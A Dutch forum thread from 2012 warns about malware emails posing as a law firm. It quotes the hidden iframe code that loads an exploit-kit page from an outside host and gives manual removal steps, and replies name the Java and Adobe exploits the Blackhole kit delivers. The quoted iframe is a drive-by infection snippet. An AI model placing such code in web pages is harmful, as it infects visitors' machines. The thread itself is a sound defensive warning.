Virus in bijlage mail: Embuste Advocaten

[Axewi]

Let op op dit moment gaan er weer virus mailtjes rond ditmaal van: Embuste Advocaten

Link naar nieuws atrikel, http://www.emerce.nl/nieuws/nuonoplichters-slaan-weer-toe

Iframe code:

code:

 iframe src="http://jackerdesktopstyle.info/amounts/market-says_materials.php" style="width:1px;height:1px;border:0px

Malwarebytes vind dit virus nog niet.
De volgende tool vind het wel: Trusteer rapport. ( met dank aan Feralio )

Website link: http://www.trusteer.com/P...pport-pc-and-mac-security
Install link: https://install.trusteer.com/D1ksPhbd3/RapportSetup.exe

Handmatig verwijderen kan ook:
Open task manager en stop de volgende 2 processen:
1) conhostd.exe
2) trupd.exe

Verwijder vervolgends de 2 volgende mappen:
c:\documents and settings\%username%\local settings\application data\Apps
c:\documents and settings\%username%\local settings\application data\b0d4f7c3 (let op deze is variabel)

Update: de website in het iframe lijkt inmiddels offline te zijn.

[ Voor 4% gewijzigd door Axewi op 19-11-2012 15:30 ]

[Feralio]

Het 2e pad: c:\documents and settings\%username%\local settings\application data\b0d4f7c3 is variabel, kan ook een andere naam hebben.

[photofreak]

Ach ja, er zit een zelfde groep criminelen.

conhostd.exe is het virus en trupd is de Tor-client.

Het belangrijkste is om niet zomaar op vreemde links te klikken en om je software up2date te houden dan zit je wel goed over het algemeen.

[Boudewijn]

Och het mailtje verwijst gewoon naar de zoveelste blackhole installatie. Wat die je aan payload binnen laat hengelen is dan weer een tweede. Niet heel spannend qua techniek, wel qua bereik van de spam.

[photofreak]

Hij bevat sowieso 3 java-exploits: voor CVE-2012-1723, CVE-2012-4681 en CVE-2012-5076, verder zit er nog een adobe reader exploit in en misschien ook nog een flash player exploit, dus dat is een vrij standaard lading voor de BlackHole Toolkit.

[Boudewijn]

Mja in principe kan de dader de payload die blackhole dropt zo veranderen .

[skai21]

Hier ook een aantal keer de email ontvangen, Kaspersky blokkeert het URL netjes.

[Jiffy]

'Embuste' is toch Portugees voor zoiets als hoax, of oplichting ofzo? Da's dan wel weer humor.

edit:
Staat ook in het artikeltje zie ik...

[ Voor 23% gewijzigd door Jiffy op 20-11-2012 16:54 ]